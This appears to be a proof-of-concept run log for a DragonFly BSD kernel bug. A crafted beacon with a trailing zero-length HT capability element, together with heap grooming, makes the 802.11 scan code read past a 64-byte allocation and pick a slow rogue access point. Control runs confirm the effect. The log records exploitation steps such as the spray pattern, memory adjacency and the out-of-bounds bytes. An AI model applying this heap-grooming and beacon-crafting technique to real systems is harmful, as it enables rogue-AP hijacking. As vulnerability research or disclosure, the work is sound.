DF-3363 / run.log
DF-3363 baseline runs -- stock INVARIANTS kernel #0 (Thu Jul 2 06:02:54 UTC 2026 build)
Guest: DragonFly dfbsd 6.5-DEVELOPMENT #0 X86_64_GENERIC, 6 vCPU, cc 8.3
Harness: fwscan.ko (software radio fws0 + beacon injection through
ieee80211_parse_beacon -> ieee80211_add_scan -> sta_add -> scan_end)
=======================================================================
variant 1: 0xff neighbor groom, B's beacon ends in a 2-byte HTCAP IE
(id 45, len 0) as the LAST IE of an exactly-64-byte blob
=======================================================================
[earlier run, addresses prove adjacency]
fwscan: entry[1] mac 02:55:55:55:55:55 rssi 30 blob 0xfffff8008976d280 len 64 <- D (0xff fill)
fwscan: entry[3] mac 02:22:22:22:22:22 rssi 30 blob 0xfffff8008976d240 len 64 <- B (victim)
(D.blob - B.blob == 0x40 == 64: D's chunk IS the memory right after
B's blob; maxrate() reads B.htcap_ie+2..+17 == D's chunk bytes)
fwscan: scan_end -> 1
fwscan: post-selection iv_bss mac 02:22:22:22:22:22 bssid 02:22:22:22:22:22
>>> the 5.5 Mbps-only AP with the phantom HT capability WON <<<
[stable run with E-spray neighbors; dump shows the exact OOB bytes]
fwscan: entry[2] mac 02:22:22:22:22:22 rssi 30 blob 0xfffff80116c09280 len 64
htcap_ie: off 62, ie_len 0, bytes from IE end to blob end: 0
maxrate reads IE+2..IE+17 (18 bytes):
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
(all 18 bytes lie past the 64-byte kmalloc allocation;
when the adjacent chunk holds 0xff groom bytes, maxrate
consumes them as hc_cap/hc_mcsset and fabricates MCS31-HT40)
[e-spray run]
fwscan: neighbor spray done (96 live 64B blobs, fill 0xff)
fwscan: entry[..] mac 02:22:.. blob .. len 64
blob tail (last 8 bytes): ff ff ff ff ff ff 2d 00 <- trailing HTCAP len 0
bytes at blob_end..+15 (OOB for a trailing short IE): 00 04 66 77 73 31 01 01 82 03 01 01 dd 32 ff ff
fwscan: scan_end -> 1
fwscan: post-selection iv_bss mac 02:22:22:22:22:22 <- B (phantom HT) WINS
=======================================================================
variant 2 (control): identical but neighbor groom = 0x00
=======================================================================
fwscan: groom done (96 x 64B blobs, fill 0x00, flushed)
fwscan: neighbor spray done (96 live 64B blobs, fill 0x00)
bytes at blob_end..+15: 00 04 66 77 73 31 01 01 82 03 01 01 dd 32 00 00
fwscan: scan_end -> 1
fwscan: post-selection iv_bss mac 02:11:11:11:11:11 <- A (real 54M) WINS
=======================================================================
variant 3 (control): valid 26-byte all-zero HTCAP, 0xff groom
=======================================================================
fwscan: groom done (96 x 64B blobs, fill 0xff, flushed)
fwscan: entry[..] mac 02:22:.. blob len 64
blob tail (last 8 bytes): 00 00 00 00 00 00 00 00 <- valid zero HTCAP
fwscan: scan_end -> 1
fwscan: post-selection iv_bss mac 02:11:11:11:11:11 <- A WINS
VERDICT: the ONLY difference between variant 1 and variant 2 is the
CONTENT OF KERNEL HEAP MEMORY PAST THE END of B's 64-byte blob. In v1
(0xff beyond the allocation) the kernel picks a 5.5 Mbps phantom "HT"
AP over a real 54 Mbps AP; in v2 (zeros) it picks correctly. The
out-of-bounds read demonstrably steers association decisions.